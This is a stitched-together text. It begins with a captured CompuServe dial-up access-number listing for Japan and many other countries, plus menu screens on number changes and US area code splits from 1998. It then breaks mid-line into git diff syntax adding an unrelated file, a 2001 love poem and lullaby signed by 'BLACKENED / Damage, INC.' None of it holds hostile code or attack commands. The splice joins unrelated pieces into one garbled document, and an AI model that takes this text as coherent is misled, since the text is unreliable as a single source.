Hiroshima 81 082 502-0284 FEN 9600 + Hiroshima 81 082 221-0991 FEN 9600-14,400 + Hiroshima 81 082 228-5153 FEN 28,800 + + Ibaraki 81 0726 24-9862 FEN 9600-14,400 + Ibaraki 81 0726 24-8540 FEN 28,800 + Ikeda 81 0727 30-5500 FEN 9600-14,400 + Ikeda 81 0727 27-9570 FEN 28,800 + Inagi 81 0423 78-9642 FEN 9600-14,400 + Inagi 81 0423 79-1211 FEN 28,800 + Isesaki 81 0270 21-0136 FEN 9600-14,400 + Iwaki 81 0246 36-1422 FEN 9600-14,400 + Izumisano 81 0724 64-0353 FEN 9600-14,400 + Kagoshima 81 099 224-8420 FEN 9600-14,400 + Kakogawa 81 0794 35-3400 FEN 9600-14,400 + Kanazawa 81 0762 62-5154 FEN 9600-14,400 + Kanazawa 81 0762 65-4300 FEN 28,800 + + Kanazawa 81 0762 33-8456 FEN 9600 + Kariya 81 0566 28-6181 FEN 9600-14,400 + Kashihara 81 07442 9-6001 FEN 9600-14,400 + Kashihara 81 07442 4-9158 FEN 28,800 + Kashiwa 81 0471 40-1470 FEN 9600-14,400 + Kasugai 81 0568 52-3111 FEN 9600-14,400 + Kawagoe 81 0492 28-1690 FEN 28,800 + Kawaguchi 81 048 470-1400 FEN 9600-14,400 + Kawasaki 81 044 740-1069 FEN 9600 + Kawasaki 81 044 798-7000 FEN 9600-14,400 + Kawasaki 81 044 798-6500 FEN 28,800 + Kimitsu 81 0439 55-2181 FEN 9600-14,400 + Kitakyusyu 81 093 541-7850 FEN 9600-14,400 + + Kobe/Akashi 81 078 936-9890 FEN 9600-14,400 + Kobe/Akashi 81 078 936-4042 FEN 28,800 + Kofu 81 0552 35-9300 FEN 9600-14,400 + Kofu 81 0552 26-9071 FEN 28,800 + Koriyama 81 0249 33-6662 FEN 9600-14,400 + Koriyama 81 0249 31-1802 FEN 28,800 + Koshigaya 81 0489 66-9020 FEN 9600-14,400 + Kouchi 81 0888 71-6611 FEN 9600-14,400 + Kumagaya 81 0485 26-5260 FEN 9600-14,400 + Kumamoto 81 096 289-2261 FEN 9600-14,400 + Kumamoto 81 096 289-2091 FEN 28,800 + Kurashiki 81 086 462-9151 FEN 9600-14,400 + Kure 81 0823 26-8710 FEN 9600-14,400 + + Kure 81 0823 25-2203 FEN 28,800 + Kushiro 81 0154 25-3151 FEN 9600-14,400 + Kushiro 81 0154 22-8151 FEN 28,800 + Kyoto 81 075 213-5720 FEN 9600-14,400 + Kyoto 81 075 213-5268 FEN 28,800 + Machida 81 0427 99-5595 FEN 9600-14,400 + Machida 81 0427 99-7309 FEN 28,800 + Maebashi 81 0272 55-5212 FEN 9600-14,400 + Matsudo 81 047 360-2201 FEN 9600-14,400 + Matsue 81 0852 24-6672 FEN 9600-14,400 + Matsue 81 0852 27-4245 FEN 28,800 + Matsumoto 81 0263 39-3170 FEN 9600-14,400 + Matsuyama 81 089 941-8241 FEN 28,800 + + Mito 81 029 228-5521 FEN 9600-14,400 + Mito 81 029 224-1108 FEN 28,800 + Miyazaki 81 0985 24-9500 FEN 9600-14,400 + Morioka 81 019 651-9143 FEN 9600-14,400 + Muroran 81 0143 43-6005 FEN 9600-14,400 + Nagano 81 026 243-1733 FEN 9600-14,400 + Nagasaki 81 0958 29-0301 FEN 9600-14,400 + Nagoya 81 052 229-1475 FEN 9600 + Nagoya 81 052 232-4540 FEN 9600-14,400 + Nagoya 81 052 223-3636 FEN 28,800 + Naha 81 098 867-9220 FEN 9600-14,400 + Nara 81 0742 26-4886 FEN 9600-14,400 + Niigata 81 025 244-4671 FEN 9600-14,400 + + Niigata 81 025 243-0618 FEN 28,800 + Nishinomiya 81 0798 66-9066 FEN 9600-14,400 + Numazu 81 0559 25-2226 FEN 9600-14,400 + Numazu 81 0559 25-6191 FEN 28,800 + Obihiro 81 0155 26-3601 FEN 9600-14,400 + Odawara 81 0465 24-4700 FEN 9600-14,400 + Oita 81 0975 33-0462 FEN 9600-14,400 + Oita 81 0975 34-8005 FEN 28,800 + Okayama 81 086 221-4956 FEN 9600-14,400 + Okayama 81 086 226-6811 FEN 28,800 + Okayama 81 086 234-7230 FEN 9600 + Okazaki 81 0564 25-2231 FEN 9600-14,400 + Okinawa 81 98 861-2844 EQT 300-28,800 + + Ome 81 0428 33-5890 FEN 28,800 + Osaka 81 06 6944-4660 FEN 9600-14,400 + Osaka 81 06 6944-3620 FEN 28,800 + Otaru 81 0134 24-5031 FEN 9600-14,400 + Otsu 81 0775 27-3500 FEN 9600-14,400 + Oyama 81 0285 21-4040 FEN 9600-14,400 + Saga 81 0952 28-6901 FEN 9600-14,400 + Sakai 81 0722 27-0624 FEN 9600-14,400 + Sakai 81 0722 25-2732 FEN 9600 + Sapporo 81 011 809-2026 FEN 9600 + Sapporo 81 011 898-9425 FEN 9600-14,400 + Sapporo 81 011 898-7670 FEN 28,800 + Sawara 81 0478 54-0084 FEN 9600-14,400 + + Sendai 81 022 287-9990 FEN 9600-14,400 + Sendai 81 022 390-1681 FEN 9600 + Sendai 81 022 287-9900 FEN 28,800 + Shizuoka 81 054 202-2270 FEN 9600-14,400 + Suwa 81 0266 53-8700 FEN 9600-14,400 + Suwa 81 0266 57-0599 FEN 28,800 + Tachikawa 81 0425 28-0017 FEN 9600-14,400 + Tachikawa 81 0425 28-4600 FEN 28,800 + Takamatsu 81 0878 26-1507 FEN 9600 + Takamatsu 81 0878 26-2096 FEN 9600-14,400 + Takamatsu 81 0878 23-5701 FEN 28,800 + Takasaki 81 0273 27-4090 FEN 9600-14,400 + Takigawa 81 0125 23-0339 FEN 9600-14,400 + + Tatebayashi 81 0276 73-7611 FEN 9600-14,400 + Tatebayashi 81 0276 74-8035 FEN 28,800 + Tokorozawa 81 0429 20-1190 FEN 9600 + Tokorozawa 81 0429 39-5237 FEN 9600-14,400 + Tokorozawa 81 0429 21-5061 FEN 28,800 + Tokushima 81 0886 56-9910 FEN 1200 + Tokushima 81 0886 56-9931 FEN 9600-14,400 + Tokyo 81 03 5471 4790 CPS 1200-33,600 + Tokyo 81 03 5471 7650 CPS 1200-33,600 + Tokyo 81 03 5764 2466 CPS 1200-56,000 + Tokyo 81 03 5710-5300 FEN 9600-14,400 + Tokyo 81 03 5710-6400 FEN 9600-14,400 + Tokyo 81 03 5703-2918 FEN 9600-14,400 + + Tokyo 81 03 5711-3911 FEN 9600-14,400 + Tokyo 81 03 3737-9000 FEN 28,800 + Tokyo 81 03 5710-6222 FEN 28,800 + Tokyo 81 03 5711-2966 FEN 28,800 + Tokyo 81 03 5703-7276 FEN 9600 + Tomakomai 81 0144 36-6105 FEN 9600-14,400 + Toyama 81 0764 55-9005 FEN 9600 + Toyama 81 0764 54-4826 FEN 9600-14,400 + Toyama 81 0764 55-3901 FEN 28,800 + Toyohashi 81 0532 53-8905 FEN 9600-14,400 + Toyota 81 0565 26-9811 FEN 9600-14,400 + Tsu 81 059 223-7971 FEN 9600-14,400 + Tsukuba 81 0298 55-2826 FEN 9600-14,400 + + Tsukuba 81 0298 59-0112 FEN 28,800 + Tsuruga 81 0770 23-4411 FEN 28,800 + Tsuyama 81 0868 31-1721 FEN 28,800 + Uji 81 0774 45-4555 FEN 9600-14,400 + Urawa 81 048 830-1437 FEN 9600 + Urawa 81 048 825-4981 FEN 9600-14,400 + Urawa 81 048 825-5350 FEN 28,800 + Utsunomiya 81 028 638-9942 FEN 9600-14,400 + Utsunomiya 81 028 651-2120 FEN 9600 + Wakayama 81 0734 74-7009 FEN 9600-14,400 + Wakayama 81 0734 74-8378 FEN 28,800 + Yamagata 81 0236 41-1301 FEN 9600-14,400 + Yamaguchi 81 0839 89-6296 FEN 9600-14,400 + + Yao 81 0729 95-5710 FEN 9600-14,400 + Yokkaichi 81 0593 54-9043 FEN 9600-14,400 + Yokkaichi 81 0593 56-1130 FEN 28,800 + Yokohama 81 045 320-7470 FEN 9600-14,400 + Yokohama 81 045 411-0121 FEN 28,800 + Yokosuka 81 0468 25-9811 FEN 9600-14,400 + + **Kazakhstan** + + Alma-Ata 7 3272 50-7179 EQT 300-9600 + + **Latvia** + + + Riga 371 724 2457 EQT 300-9600 + + **Lebanon** + + Beirut 961 1 655955 EQT 9600 + Jal El Dib 961 4 406187 EQT 9600 + Jal El Dib 961 4 405932 EQT 9600 + + **Luxembourg** + + Luxembourg 352 349933 CPS 1200-33,600 + + **Macau** + + + Macau 853 861441 EQT 300-28,800 + + **Macedonia** + + Skopje 389 91 134244 EQT 9600 + + **Malaysia** + + Johor Bahru 60 07 2229849 EQT 300-9600 + Johor Bahru 60 07 2230953 EQT 300-9600 + Kota Kinabalu 60 88 256079 EQT 300-9600 + Kuala Lumpur 60 03 6345407 EQT 300-28,800 + + Kuala Lumpur 60 03 2736566 INW 300-28,800 + Kuching 60 82 230757 EQT 300-9600 + Penang 60 04 2635198 EQT 300-9600 + + **Malta** + + Valetta 356 241005 EQT 1200-28,800 + + **Martinique** + + Forte de France 596 421111 EQT 300-28,800 + + **Mexico** + + + Ciudad Juarez 52 16 230-204 CPS 300-33,600 + Cuernavaca 52 7 322-5002 CPS 300-33,600 + Guadalajara 52 3 122-1818 CPS 300-33,600 + Guadalajara 52 3 134-1000 CPS 56,000 + Leon 52 4 773-5710 CPS 300-33,600 + Mexico City 52 5 262-0000 CPS 300-33,600 + Mexico City-X2 52 5 262-4500 CPS 56,000 + Monterrey 52 8 369-4880 CPS 300-33,600 + Monterrey 52 8 155-4000 CPS 56,000 + Nationwide 91 800 7200000 CPS 300-33,600 + Puebla 52 22 37-2600 CPS 300-33,600 + Veracruz 52 2 922-5800 CPS 300-33,600 + + + **Moldova** + + Kishinev 373 2 529990 EQT 300-9600 + + **N. Mariana Island** + + Saipan 670 2354137 EQT 300-28,800 + + **Nepal** + + Kathmandu 977 1 241025 EQT 300-9600 + + + **Netherland Antilles** + + Curacao 599 9 8693201 EQT 1200-9600 + St. Maarten 599 5 53172 EQT 1200-9600 + + **Netherlands** + + Amersfoort 31 033 711 0510 CPS 300-33,600 + Amersfoort-ISDN 31 033 711 0510 CPS 64,000 + Amersfoort-V.90 31 033 711 0510 CPS 56,000 + Amsterdam (V90/ISDN) 31 020 711 0510 CPS 300-64,000 + Apeldoorn 31 055 711 0510 CPS 300-33,600 + Apeldoorn-ISDN 31 055 711 0510 CPS 64,000 + + Apeldoorn-V.90 31 055 711 0510 CPS 56,000 + Arnhem 31 026 711 0510 CPS 300-33,600 + Arnhem-ISDN 31 026 711 0510 CPS 64,000 + Arnhem-V.90 31 026 711 0510 CPS 56,000 + Breda 31 076 711 0510 CPS 300-33,600 + Breda-ISDN 31 076 711 0510 CPS 64,000 + Breda-V.90 31 076 711 0510 CPS 56,000 + Den Bosch 31 073 711 0510 CPS 300-33,600 + Den Bosch-ISDN 31 073 711 0510 CPS 64,000 + Den Bosch-V.90 31 073 711 0510 CPS 56,000 + Den Haag 31 070 711 0510 CPS 300-33,600 + Den Haag-ISDN 31 070 711 0510 CPS 64,000 + Den Haag-V.90 31 070 711 0510 CPS 56,000 + + Den Helder 31 0223 711 510 CPS 300-33,600 + Den Helder-ISDN 31 0223 711 510 CPS 64,000 + Den Helder-V.90 31 0223 711 510 CPS 56,000 + Deventer 31 0570 711 510 CPS 300-33,600 + Deventer-ISDN 31 0570 711 510 CPS 64,000 + Deventer-V.90 31 0570 711 510 CPS 56,000 + Eindhoven 31 040 711 0510 CPS 300-33,600 + Eindhoven-ISDN 31 040 711 0510 CPS 64,000 + Eindhoven-V.90 31 040 711 0510 CPS 56,000 + Goes 31 0113 711 510 CPS 300-33,600 + Goes-ISDN 31 0113 711 510 CPS 64,000 + Goes-V.90 31 0113 711 510 CPS 56,000 + Groningen 31 050 711 0510 CPS 300-33,600 + + Groningen-ISDN 31 050 711 0510 CPS 64,000 + Groningen-V.90 31 050 711 0510 CPS 56,000 + Haarlem 31 023 711 0510 CPS 300-33,600 + Haarlem-ISDN 31 023 711 0510 CPS 64,000 + Haarlem-V.90 31 023 711 0510 CPS 56,000 + Heerenveen 31 0513 711 510 CPS 300-33,600 + Heerenveen-ISDN 31 0513 711 510 CPS 64,000 + Heerenveen-V.90 31 0513 711 510 CPS 56,000 + Hengelo 31 074 711 0510 CPS 300-33,600 + Hengelo-ISDN 31 074 711 0510 CPS 64,000 + Hengelo-V.90 31 074 711 0510 CPS 56,000 + Hoogeveen 31 0528 711 510 CPS 300-33,600 + Hoogeveen-ISDN 31 0528 711 510 CPS 64,000 + + Hoogeveen-V.90 31 0528 711 510 CPS 56,000 + Hoorn 31 0229 711 510 CPS 300-33,600 + Hoorn-ISDN 31 0229 711 510 CPS 64,000 + Hoorn-V.90 31 0229 711 510 CPS 56,000 + Leeuwarden 31 058 711 0510 CPS 300-33,600 + Leeuwarden-ISDN 31 058 711 0510 CPS 64,000 + Leeuwarden-V.90 31 058 711 0510 CPS 56,000 + Leiden 31 071 711 0510 CPS 300-33,600 + Leiden-ISDN 31 071 711 0510 CPS 64,000 + Leiden-V.90 31 071 711 0510 CPS 56,000 + Lelystad 31 0320 711 510 CPS 300-33,600 + Lelystad-ISDN 31 0320 711 510 CPS 64,000 + Lelystad-V.90 31 0320 711 510 CPS 56,000 + + Maastricht 31 043 711 0510 CPS 300-33,600 + Maastricht-ISDN 31 043 711 0510 CPS 64,000 + Maastricht-V.90 31 043 711 0510 CPS 56,000 + Nijmegen 31 024 711 0510 CPS 300-33,600 + Nijmegen-ISDN 31 024 711 0510 CPS 64,000 + Nijmegen-V.90 31 024 711 0510 CPS 56,000 + Rotterdam 31 010 711 0510 CPS 300-33,600 + Rotterdam-ISDN 31 010 711 0510 CPS 64,000 + Rotterdam-V.90 31 010 711 0510 CPS 56,000 + Sliedrecht 31 0184 711 510 CPS 300-33,600 + Sliedrecht-ISDN 31 0184 711 510 CPS 64,000 + Sliedrecht-V.90 31 0184 711 510 CPS 56,000 + Stadskanaal 31 0599 711 510 CPS 300-33,600 + + Stadskanaal-ISDN 31 0599 711 510 CPS 64,000 + Stadskanaal-V.90 31 0599 711 510 CPS 56,000 + Steenbergen 31 0167 711 510 CPS 300-33,600 + Steenbergen-ISDN 31 0167 711 510 CPS 64,000 + Steenbergen-V.90 31 0167 711 510 CPS 56,000 + Terborg 31 0315 711 510 CPS 300-33,600 + Terborg-ISDN 31 0315 711 510 CPS 64,000 + Terborg-V.90 31 0315 711 510 CPS 56,000 + Tiel 31 0344 711 510 CPS 300-33,600 + Tiel-ISDN 31 0344 711 510 CPS 64,000 + Tiel-V.90 31 0344 711 510 CPS 56,000 + Tilburg 31 013 711 0510 CPS 300-33,600 + Tilburg-ISDN 31 013 711 0510 CPS 64,000 + + Tilburg-V.90 31 013 711 0510 CPS 56,000 + Utrecht 31 030 711 0510 CPS 300-33,600 + Utrecht-ISDN 31 030 711 0510 CPS 64,000 + Utrecht-V.90 31 030 711 0510 CPS 56,000 + Venlo 31 077 711 0510 CPS 300-33,600 + Venlo-ISDN 31 077 711 0510 CPS 64,000 + Venlo-V.90 31 077 711 0510 CPS 56,000 + Zwolle 31 038 711 0510 CPS 300-33,600 + Zwolle-ISDN 31 038 711 0510 CPS 64,000 + Zwolle-V.90 31 038 711 0510 CPS 56,000 + + **New Zealand** + + + Auckland 64 09 357 6642 CPN 300-28,800 + Christchurch 64 03 338 9387 CPN 300-28,800 + Dunedin 64 03 477 8839 CPN 300-28,800 + Hamilton 64 07 838 9966 CPN 300-28,800 + Wellington 64 04 473 7949 CPN 300-28,800 + + **Nicaragua** + + Managua 505 2 669786 EQT 1200-28,800 + + **Niger** + + Niamey 227 732780 EQT 9600 + + + **Nigeria** + + Kano 234 64 648183 EQT 300-9600 + Lagos 234 1 2647778 EQT 1200-9600 + + **Northern Ireland** + + National (V90/ISDN) 44 0845 080 1000 CPS 300-64,000 + + **Norway** + + Bergen 47 5 522-7105 EQT 300-9600 + + Oslo 47 2 200-8900 CPS 300-33,600 + Stavanger 47 5 169-9914 EQT 300-9600 + + **Oman** + + Muscat 968 799455 TYM 300-2400 + Muscat 968 791548 TYM 9600 + + **Pakistan** + + Karachi 92 21 5672141 EQT 9600 + Karachi 92 21 5672144 EQT 300-9600 + Karachi 92 21 5672142 EQT 300-9600 + + Karachi 92 21 5672143 EQT 300-9600 + Lahore 92 42 6310961 EQT 300-9600 + + **Peru** + + Lima 51 1 421-1560 EQT 1200-28,800 + + **Philippines** + + Manila 63 2 843-4977 EQT 300-28,800 + Manila 63 2 843-0702 INW 300-28,800 + + **Poland** + + + Bialystok 48 85 6537 220 EQT 300-9600 + Bydgoszcz 48 52 3400 728 EQT 300-9600 + Gdansk 48 58 305 4040 EQT 300-9600 + Katowice 48 32 518481 EQT 300-9600 + Krakow 48 12 4239 363 EQT 300-9600 + Lodz 48 42 6300 601 EQT 300-9600 + Lublin 48 81 740 0250 EQT 300-9600 + Olsztyn 48 89 534 7647 EQT 300-9600 + Poznan 48 61 8553 409 EQT 300-9600 + Rzeszow 48 17 8521 579 EQT 300-9600 + Szczecin 48 91 4888 180 EQT 300-9600 + Warsaw 48 22 630 6245 EQT 300-28,800 + + Warsaw 48 22 650 4832 EQT 300-28,800 + Wroclaw 48 71 341 9351 EQT 1200-9600 + + **Portugal** + + Faro 351 8 9817034 EQT 300-9600 + Funchal 351 91 223398 EQT 300-9600 + Lisbon 351 1 4172935 EQT 1200-28,800 + Porto 351 2 6002946 EQT 1200-28,800 + + **Puerto Rico** + + San Juan 787 722-0995 CPS 300-33,600 + + + **Scotland** + + National (V90/ISDN) 44 0845 080 1000 CPS 300-64,000 + + **Serbia** + + Belgrade 381 11 3115255 EQT 300-28,800 + + **Sierra Leone** + + Freetown 232 22 228850 EQT 300-9600 + + + **Singapore** + + Singapore (V90/ISDN) 65 8731378 CPS 300-64,000 + + **Slovakia** + + Bratislava 421 7 5555773 EQT 300-9600 + Kosice 421 95 6230440 EQT 300-9600 + + **Slovenia** + + Koper 386 66 392115 EQT 300-9600 + Ljubljana 386 61 1339275 EQT 300-9600 + + Maribor 386 62 307380 EQT 300-9600 + Nova Gorica 386 65 202080 EQT 300-9600 + + **South Africa** + + Cape Town 27 021 461-6928 EQT 1200-28,800 + Cape Town 27 021 419-9603 INW 300-2400 + Cape Town 27 021 419-9739 INW 9600 + Cape Town 27 021 419-9665 INW 9600 + Durban 27 031 307-2203 EQT 1200-9600 + Durban 27 031 904-3732 INW 300-2400 + Johannesburg 27 011 833-2145 EQT 1200-28,800 + Johannesburg 27 011 454-2878 INW 300-28,800 + + + **South Korea** + + Pusan 82 51 462-5408 EQT 300-28,800 + Seoul 82 02 775-6647 EQT 300-28,800 + Seoul 82 02 725-1003 INW 300-28,800 + + **Spain** + + Alicante 34 96 691-9464 EQT 300-28,800 + Barcelona 34 93 487-3888 CPS 1200-33,600 + Bilbao 34 94 415-9933 EQT 300-9600 + Las Palmas 34 928 385-154 EQT 300-28,800 + + Madrid 34 91 577-0686 CPS 300-33,600 + Madrid 34 91 575-9030 CPS 300-33,600 + Malaga 34 95 204-8589 EQT 300-28,800 + Palma 34 971 719-568 EQT 300-28,800 + San Sebastian 34 943 212-700 EQT 300-9600 + Seville 34 95 442-5311 EQT 300-9600 + Tenerife 34 922 759-025 EQT 300-28,800 + Valencia 34 96 351-0133 CPS 300-33,600 + Zaragoza 34 976 565-142 EQT 300-9600 + + **Sri Lanka** + + Colombo 94 1 345467 EQT 1200-9600 + + Colombo 94 1 347420 INW 2400-9600 + + **Sweden** + + Gothenburg 46 31 946-475 EQT 300-28,800 + Malmo 46 40 303-068 EQT 300-28,800 + N. Stockholm (V90/ISDN 46 8 566-12000 CPS 300-64,000 + S. Stockholm (V90/ISDN 46 8 506-12000 CPS 300-64,000 + + **Switzerland** + + Nationwide (V90/ISDN) 41 0842 111 092 CPS 300-64,000 + + + **Taiwan** + + Kaohsiung 886 7 3234977 EQT 300-9600 + Taichung 886 4 3284290 EQT 300-9600 + Tainan 886 6 2203523 EQT 300-9600 + Taipei 886 2 23560786 EQT 300-28,800 + + **Tanzania** + + Arusha 255 57 6419 EQT 300-9600 + Dar es Salaam 255 51 118729 EQT 300-9600 + + **Togo** + + + Lome 228 211494 EQT 300-9600 + + **Trinidad & Tobago** + + Port of Spain 1 868 627-0093 EQT 300-28,800 + + **Turkey** + + Ankara 90 312 468-8042 EQT 1200-28,800 + Bursa 90 224 224-5830 EQT 300-28,800 + Istanbul 90 212 234-5168 EQT 1200-28,800 + Izmir 90 232 446-2034 EQT 300-9600 + + + **Turkmenistan** + + Ashkhabad 993 12 350580 EQT 300-9600 + Ashkhabad 993 12 350581 EQT 300-9600 + Ashkhabad 993 12 350582 EQT 300-28,800 + + **Uganda** + + Kampala 256 41 343775 EQT 300-9600 + + **Ukraine** + + + Kiev 380 44 246-5220 EQT 300-28,800 + + **United Kingdom** + + National (V90/ISDN) 44 0845 080 1000 CPS 300-64,000 + + **Uzbekistan** + + Tashkent 998 71 13-62647 EQT 9600-28,800 + + **Venezuela** + + Caracas 58 2 237-4633 EQT 1200-28,800 + + Caracas 58 2 793-0222 VNZ 1200-33,600 + Caracas 58 2 793-6544 VNZ 1200-33,600 + Caracas 58 2 794-0544 VNZ 1200-33,600 + Caracas 58 2 709-1000 VNZ 300-56,000 + Cumana 58 93 31-5321 VNZ 300-33,600 + Maracaibo 58 61 59-1922 VNZ 1200-33,600 + Maracaibo 58 61 59-0444 VNZ 300-33,600 + Maracaibo 58 61 50-1111 VNZ 300-56,000 + Maturin 58 91 43-3611 VNZ 300-33,600 + Maturin 58 91 43-4311 VNZ 300-33,600 + Puerto Ordaz 58 86 23-3022 VNZ 300-33,600 + Valencia 58 41 25-0011 VNZ 1200-33,600 + Valencia 58 41 20-2111 VNZ 300-33,600 + + + **Wales** + + National (V90/ISDN) 44 0845 080 1000 CPS 300-64,000 + + **Western Samoa** + + Apia 685 25025 EQT 300-9600 + + **Zaire** + + Kinsasha 243 12 21999 EQT 300-9600 + + + **Zambia** + + Ndola 260 2 620950 EQT 300-9600 + + + +Last page ! + + + + +Access Numbers & Logon Instructions PHN-10 + + 1 United States and Canada + 2 All Other Countries - Specify Country + 3 All Other Countries - Complete Access Number List + +Enter choice ! + +Access Numbers and Instructions PHN-1 + + 1 Access Numbers & Logon Instructions + 2 Network Announcements + 3 CompuServe Nodes and Locations + +Enter choice !2 + +Network Assistance PHN-20 + +NETWORK ANNOUNCEMENTS + + 1 Pending Additions + 2 Pending Changes + 3 Pending Area Code Relief + 4 Recent Additions + 5 Recent Changes + 6 Recent Area Code Relief + +Enter choice !5 + +Network Assistance PHN-204 + + + +Scroll output? (Y)es or =No:Y + + + COMPUSERVE + Recent Access Number Changes + + + +City/State Old Number New Number Baud Modem Date Node +--------------- ------------- ------------- ------ --------- ---------- ---- +Durham, NC 919/687-4049 919/309-7100 33.6 V34 1/28/98 NCA +Williamsburg, VA 757/887-5377 757/855-6499 33.6 V34 2/11/98 WVB +Evanston, IL 847/733-1050 847/556-7373 56K X2-USR 9/08/98 CVP +San Fran-ISDN 415/982-0401 415/956-0290 57.6 V120 9/17/98 SFA +Chicago-ISDN, IL 312/849-3457 312/895-7373 57.6 V120 9/17/98 CHI +Kansas City-ISDN 816/502-1098 816/221-3817 56K X2 12/28/98 KTO + + + +Last page ! + + + + +Network Assistance PHN-20 + +NETWORK ANNOUNCEMENTS + + 1 Pending Additions + 2 Pending Changes + 3 Pending Area Code Relief + 4 Recent Additions + 5 Recent Changes + 6 Recent Area Code Relief + +Enter choice !4 + +Network Assistance PHN-203 + + + +Scroll output? (Y)es or =No:Y + + + COMPUSERVE + Recent Access Number Additions + + +City/State New Number Baud Rate Modem Install Date +---------- ---------- --------- ----- ------------ +WATS/Canada 800/843-0378 300-33.6 V34 10/01/98 + + + +Last page ! + + + + +Network Assistance PHN-20 + +NETWORK ANNOUNCEMENTS + + 1 Pending Additions + 2 Pending Changes + 3 Pending Area Code Relief + 4 Recent Additions + 5 Recent Changes + 6 Recent Area Code Relief + +Enter choice !6 + +Network Assistance PHN-206 + + + +Scroll output? (Y)es or =No:Y + + + + + + MCI WORLDCOM + Advanced Networks + Recent Area Code Relief + +In this area you will find domestic area code splits, overlays and dialing +pattern changes. These changes have been updated within the MCI Worldcom +Advanced Networks database. + + + + +Types of Area Code Relief +------------------------- +Split - A portion of an existing NPA is given a new NPA, with a new geographic + boundary spliting the two. All existing numbers in the split area + must change to the new area code. Most often there is a "permissive" + dialing" period when either area code will work. + +Overlay - A new area code is introduced into exactly the same geographic + territory currently served by an existing area code. New prefixes + from the new area code are assigned right alongside existing prefixes + in the old area code. Existing numbers DO NOT change. However, to + reduce confusion, all calls within an overlay area -even local calls + within the same area code- must be dialed with the area code. + + +State Current Area Code New Area Code Permissive Dialing Dates Relief Type +----- ----------------- ------------- ------------------------ ----------- +GA 404 678 01/01/98 to 01/01/98 Overlay/Dial +PA 412 724 02/01/98 to 04/29/98 Split +CO 303 720 02/01/98 to 06/01/98 Overlay/Dial +FL 305 786 03/01/98 to 07/01/98 Overlay/Dial +NC 704 828 03/22/98 to 10/04/98 Split +NC 919 252 03/22/98 to 09/21/98 Split +SC 803 843 03/22/98 to 09/27/98 Split +AL 205 256 03/23/98 to 09/28/98 Split +CA 714 949 04/18/98 to 10/16/98 Split +CA 213 323 06/13/98 to 01/15/99 Split + +FL 813 727 07/01/98 to 01/31/99 Split +CA 408 831 07/11/98 to 02/20/99 Split +MN 612 651 07/12/98 to 01/10/99 Split/Dial +LA 504 225 08/17/98 to 04/05/99 Split +CA 209 559 11/14/98 to 05/15/99 Split +TX 214 972 12/05/98 to 12/05/98 Overlay/Dial +PA 215 267 12/05/98 to 06/05/99 Overlay/Dial +PA 717 570 12/05/98 to 04/08/99 Split/Dial +PA 610 484 12/05/98 to 06/05/99 Overlay/Dial +NV 702 775 12/12/98 to 05/15/99 Split +TX 713 & 281 832 01/16/99 to 01/16/99 Overlay/Dial + + + +Last page ! + + + + +Network Assistance PHN-20 + +NETWORK ANNOUNCEMENTS + + 1 Pending Additions + 2 Pending Changes + 3 Pending Area Code Relief + 4 Recent Additions + 5 Recent Changes + 6 Recent Area Code Relief + +Enter choice !1 + +Network Assistance PHN-201 + + + +Scroll output? (Y)es or =No:Y + + + COMPUSERVE + Pending Access Number Additions + + + +City/State New Number Baud Rate Modem Date +---------- ---------- --------- ----- ---- + +No pending additions at this time... + + + + +Last page ! + + + + +Network Assistance PHN-20 + +NETWORK ANNOUNCEMENTS + + 1 Pending Additions + 2 Pending Changes + 3 Pending Area Code Relief + 4 Recent Additions + 5 Recent Changes + 6 Recent Area Code Relief + +Enter choice !2 + +Network Assistance PHN-202 + + + +Scroll output? (Y)es or =No:Y + + + COMPUSERVE + Pending Access Number Changes + + + +City/State Old Number New Number Baud Modem Date Node +--------------- ------------- ------------- ------ --------- ---------- ---- + + + NOTE: There are no pending changes at this time. + + + +Last page ! + + + + +Network Assistance PHN-20 + +NETWORK ANNOUNCEMENTS + + 1 Pending Additions + 2 Pending Changes + 3 Pending Area Code Relief + 4 Recent Additions + 5 Recent Changes + 6 Recent Area Code Relief + +Enter choice ! + +Access Numbers and Instructions PHN-1 + + 1 Access Numbers & Logon Instructions + 2 Network Announcements + 3 CompuServe Nodes and Locations + +Enter choice !3 + +Network Assistance PHN-30 diff --git a/textfiles.com/groups/DAMAGEINC/myheart.txt b/textfiles.com/groups/DAMAGEINC/myheart.txt new file mode 100644 index 00000000..8ce88bf7 --- /dev/null +++ b/textfiles.com/groups/DAMAGEINC/myheart.txt @@ -0,0 +1,74 @@ + _______________________________________________ _________________ + \_ __ \_ \ / \ / \_ \ | __/ ____/ \ | \| | __/ + _| |/ / = \| |/ = \| / | ___/_ _ | | | /___ _ + \________/___|___\__|_|__/___|___\_____|______/|_| \__|__|\__|_____/|_| +======================== "The name speaks for itself!" ======================== + + Poetic Rantings + + http://surf.to/damage_inc + damage_inc@disinfo.net +=============================================================================== + +My Heart Beats for You. + +On bent knees, I feel you. +Gentle caresses that soothe true. + +In through a door you appear out of nowhere like a burst of energy. +Without facades or pretensions. You are just who you must be. + +Melodic molecules and electrons whirling around. +You are here now and I can feel you... free and unbound. + +Unrestrained forces across windswept fields and horizons. +Universal theories, planets of thought and a thousand blazing suns. + +Gone is the common shallowness as you make things deep. +So real I don't want you to leave. Yet I know sometime you must sleep. + +Drifting. Thoughts of friends and love and home. +Mind at ease. Kindness and understanding and the things you've shown. + +Wrapped in warmth. Embraced by comfort. Fading fast. +Relax held in arms of compassion. Hush now. And rest. + +Sleep now dear. + +Sleep through blizzards of snow. +Sleep through hail and falling water. +Sleep through disappointment and heartbreak. +Sleep through winters of discontent. +Sleep through angels singing that were heaven sent. +Sleep through wicked sky and cold of night. +Sleep through space and time, darkness and light. +Sleep through dreams of wind whispering in your ear. +Sleep through it all in sweetness, with not a disturbing sound to hear. +Sleep through the silence too. +Sleep through the wind outside as it howls and whines and cries. + +Then rise. + +Rise like a fiery star over snow capped mountains, licking at them and +warming the valleys below. +Rise like the soft rolling hills, green and lush. +Rise above ashes and cold frozen earth. +Rise like the pitch of beautiful music, soothing and serene. +Rise like the sea on warm sand, calm aqua blue and clean. +Rise refreshed like the crisp fall air. +Rise and feel solace that you've vanquished all despair. +Rise like an indian summer and bask in the glow. +Rise and greet the world smiling, with your gifts to bestow. +Rise engulfed by flame of renewal and contentment. +Rise to awaken and ensure your passion never dies. + +And through it all, your beauty remains. + +Written by BLACKENED / Damage, INC. (C)opyright 2001. + +- Dedicated to Megs. You inspire me. This lullaby was written for you, so +that you may read these words and sleep. But you've inspired much more than +just these words. I know we'll always be friends. And I'm so very grateful +to have found you. You're a very sweet, passionate, beautiful person. ;) +The title may not mean anything to someone else reading this, but you know the +meaning it's meant to convey. diff --git 